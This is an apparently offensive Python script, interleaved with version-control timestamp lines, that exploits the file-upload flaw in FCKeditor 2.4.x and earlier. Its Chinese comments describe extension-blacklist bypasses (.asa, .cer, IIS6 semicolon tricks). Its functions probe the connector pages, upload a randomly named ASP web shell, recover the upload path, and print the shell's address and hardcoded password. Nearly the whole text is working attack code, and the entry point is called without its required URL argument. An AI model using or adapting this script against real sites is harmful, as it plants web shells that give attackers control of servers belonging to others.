2018-11-05 21:41:25 +08:00
|
|
|
|
# -*- coding: utf-8 -*-
|
|
|
|
|
|
from requests_toolbelt.multipart.encoder import MultipartEncoder
|
|
|
|
|
|
import requests
|
|
|
|
|
|
import string
|
|
|
|
|
|
from random import *
|
|
|
|
|
|
import re
|
|
|
|
|
|
import sys
|
|
|
|
|
|
|
|
|
|
|
|
'''
|
|
|
|
|
|
Usage:
|
|
|
|
|
|
moon.py -u fck http://127.0.0.1:8080
|
|
|
|
|
|
fck <2.4.x版本(也就是2.4.x及以下)的File参数时为黑名单验证,可以通过上传.asa、.cer、.asp;jpg(针对IIS6)。
|
|
|
|
|
|
如果asa、cer不被解析,还可以传.asp[空格]。传的方法就是抓包然后在数据包里的文件名后填个空格。
|
|
|
|
|
|
实际测试过程中还是上传asa可以,以下脚本也基于asa上传
|
2018-11-05 22:05:55 +08:00
|
|
|
|
fck编辑器如要上传文件需配置相关项目,如果出现上传成功且获取上传路径失败,就可能是配置不允许上传。
|
|
|
|
|
|
返回包出现这类文字基本上就是设置不允许上传:This connector is disabled. Please check the
|
2018-11-05 21:41:25 +08:00
|
|
|
|
'''
|
|
|
|
|
|
|
2019-08-20 19:09:10 +08:00
|
|
|
|
|
2018-11-05 21:41:25 +08:00
|
|
|
|
def gen_shell():
|
|
|
|
|
|
min_char = 4
|
|
|
|
|
|
max_char = 12
|
|
|
|
|
|
allchar = string.ascii_letters + string.digits
|
|
|
|
|
|
shell_name = "".join(choice(allchar) for x in range(randint(min_char, max_char)))
|
|
|
|
|
|
return shell_name
|
|
|
|
|
|
|
2019-08-20 19:09:10 +08:00
|
|
|
|
|
2018-11-05 21:41:25 +08:00
|
|
|
|
def geturl(URL):
|
|
|
|
|
|
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
|
|
|
|
|
|
headers={"User-Agent":user_agent}
|
2018-11-05 22:05:55 +08:00
|
|
|
|
|
2018-11-05 21:41:25 +08:00
|
|
|
|
urls = (
|
|
|
|
|
|
'/editor/filemanager/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/', #fck25
|
|
|
|
|
|
'/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/', #fck243
|
2018-11-05 22:05:55 +08:00
|
|
|
|
'/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=/',#fck21,#fck22,fck23
|
2018-11-05 21:41:25 +08:00
|
|
|
|
)
|
|
|
|
|
|
for url in urls:
|
|
|
|
|
|
url = URL + url
|
|
|
|
|
|
try:
|
|
|
|
|
|
verify_response = requests.get(url, headers=headers)
|
|
|
|
|
|
html = verify_response.content.decode('utf-8')
|
|
|
|
|
|
soup = re.search(r'<CurrentFolder path="/" url="(.*?)" />', html)
|
|
|
|
|
|
print("此Fckeditor上传路径为:" + soup.group(1))
|
|
|
|
|
|
return soup.group(1)
|
|
|
|
|
|
break
|
2019-08-20 19:09:10 +08:00
|
|
|
|
except Exception:
|
2018-11-05 21:41:25 +08:00
|
|
|
|
pass
|
|
|
|
|
|
|
2019-08-20 19:09:10 +08:00
|
|
|
|
|
2018-11-05 21:41:25 +08:00
|
|
|
|
def attack(URL):
|
2018-12-03 20:21:12 +08:00
|
|
|
|
print('[+]开始检测-Fckeditor<=2.4版本简单文件上传。asp[+]')
|
2018-11-05 21:41:25 +08:00
|
|
|
|
url = URL + '/editor/filemanager/browser/default/connectors/test.html'
|
|
|
|
|
|
user_agent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36"
|
|
|
|
|
|
headers = {"User-Agent": user_agent,"Upgrade-Insecure-Requests": "1"}
|
|
|
|
|
|
verify_response = requests.get(url, headers=headers)
|
|
|
|
|
|
shellname = gen_shell()
|
|
|
|
|
|
if verify_response.status_code == 200:
|
|
|
|
|
|
print('存在有风险的上传页面:'+url)
|
|
|
|
|
|
try:
|
|
|
|
|
|
url = URL + '/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=/'
|
|
|
|
|
|
pwd = sys.argv[0] # 获取当前文件夹的路径
|
|
|
|
|
|
m = MultipartEncoder(fields={'NewFile': (f'{shellname}.asa', open(f'{pwd}\\..\\fckeditor\\shell.asa', 'rb'), 'application/octet-stream')})
|
|
|
|
|
|
headers={'Content-Type': m.content_type,
|
|
|
|
|
|
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36',
|
|
|
|
|
|
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
|
|
|
|
|
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'
|
|
|
|
|
|
}
|
|
|
|
|
|
r = requests.post(url, data=m, headers=headers)
|
|
|
|
|
|
print('上传shell成功!')
|
|
|
|
|
|
try:
|
|
|
|
|
|
aim_url = geturl(URL)
|
|
|
|
|
|
URL = re.match('http://(.*?)/',URL).group()
|
2019-08-20 19:09:10 +08:00
|
|
|
|
print('Shell地址为:'+URL + aim_url+shellname+'.asa')
|
2018-11-05 21:41:25 +08:00
|
|
|
|
print('shell密码为:gutf987y97y97。')
|
2019-08-20 19:09:10 +08:00
|
|
|
|
except Exception:
|
2018-11-05 21:41:25 +08:00
|
|
|
|
print('获取上传路径失败,shell名为:'+shellname+'.asa')
|
|
|
|
|
|
print('shell密码为:gutf987y97y97。')
|
2019-08-20 19:09:10 +08:00
|
|
|
|
except Exception:
|
2018-11-05 21:41:25 +08:00
|
|
|
|
print('上传shell发生错误。')
|
|
|
|
|
|
else:
|
|
|
|
|
|
print('未发现该页面:'+url)
|
|
|
|
|
|
print('[+]检测结束-Fckeditor<=2.4版本简单文件上传。[+]')
|
|
|
|
|
|
print('\n')
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == "__main__":
|
2019-08-20 19:09:10 +08:00
|
|
|
|
attack()
|